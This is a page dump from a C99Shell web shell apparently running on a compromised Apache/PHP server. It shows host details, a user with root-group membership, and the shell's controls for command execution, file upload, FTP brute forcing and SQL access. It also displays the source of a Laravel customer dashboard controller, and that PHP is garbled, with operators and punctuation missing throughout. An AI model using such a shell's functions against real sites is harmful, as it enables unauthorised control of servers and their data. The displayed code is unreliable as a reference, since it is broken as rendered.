!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Date;
use 
Illuminate\Support\Facades\DB;

class 
DashboardController extends Controller
{


    public function 
index()
    {
        
$user auth()->guard('customer')->user();
//        $plan=auth('customer')->user()->plan;
        
$data['newMessageCount'] = 0;

        
$data['inboxCount'] = 0;
        
$data['sentCount'] = 0;

        
$data['customer_plan'] = auth('customer')->user()->current_plan;
        
$inboxes =[];
        
$weekDates=[];
        foreach (
getLastNDays(7) as $day){
            
$day=Carbon::createFromTimeString(str_replace('"','',$day." 0:00:00"));
            
$weekDates[]= $day->format('m-d-Y');
        }

        
$data['weekDates']=$weekDates;
        
$chatInboxes=[];
        foreach (
getLastNDays(7) as $day){
            
$chatInboxes[]=isset($inboxes[trim($day'"')])?$inboxes[trim($day'"')]:0;
        }
        
$data['chart_inbox']=$chatInboxes;
        
$data['todayExpense']= 0;
        
$data['weeklyExpense']= 0;
        
$data['totalExpense']= 0;
        
$inboundResponse 0;
        
$outboundResponse 0;

        
$weeklySent = [];
        
$weeklyReceived = [];

        
$weeklyResponseArray=[];
        foreach (
getLastNDays(7) as $day){
            
$day=trim($day,'"');
            if(isset(
$weeklySent[$day]) && isset($weeklyReceived[$day]) && $weeklyReceived[$day]>){
                
$weeklyResponseArray[]= round(($weeklyReceived[$day]/$weeklySent[$day] ) * 1002);
            }else{
                
$weeklyResponseArray[]=0;
            }
        }
        
$allInboundResponse 0;
        
$allOutboundResponse 0;
        
$todayTotalMessages 0;

//        Failed
        
$totalFailed 0;
        
$dailyFailed 0;
        
$weeklyFailed =0;
// Delivered
        
$totalDelivered 0;
        
$dailyDelivered 0;
        
$weeklyDelivered 0;


        
$data['weeklyResponseArray']=$weeklyResponseArray;
        
$data['dailyResponseRate'] = $outboundResponse && $inboundResponse 0?formatNumber(($inboundResponse $outboundResponse) * 100):0;
        
$data['responseRate'] = $allOutboundResponse && $allInboundResponse 0?formatNumber(($allInboundResponse $allOutboundResponse) * 100):0;

        
$data['deliveryRate'] =$todayTotalMessages && $dailyDelivered formatNumber(($dailyDelivered 100) / $todayTotalMessages) : 0;


        
$data['blockRate'] = $totalFailed && $totalDelivered formatNumber($totalFailed  $totalDelivered) : 0;
        
$data['dailyBlockRate'] = $dailyFailed && $dailyDelivered formatNumber($dailyFailed $dailyDelivered) : 0;
        
$data['weeklyBlockRate'] =$weeklyDelivered && $weeklyFailed formatNumber($weeklyFailed  $weeklyDelivered) : 0;

        
$data['remaining_sms']=$plan->available_sms??0;

        return 
view('customer.dashboard'$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--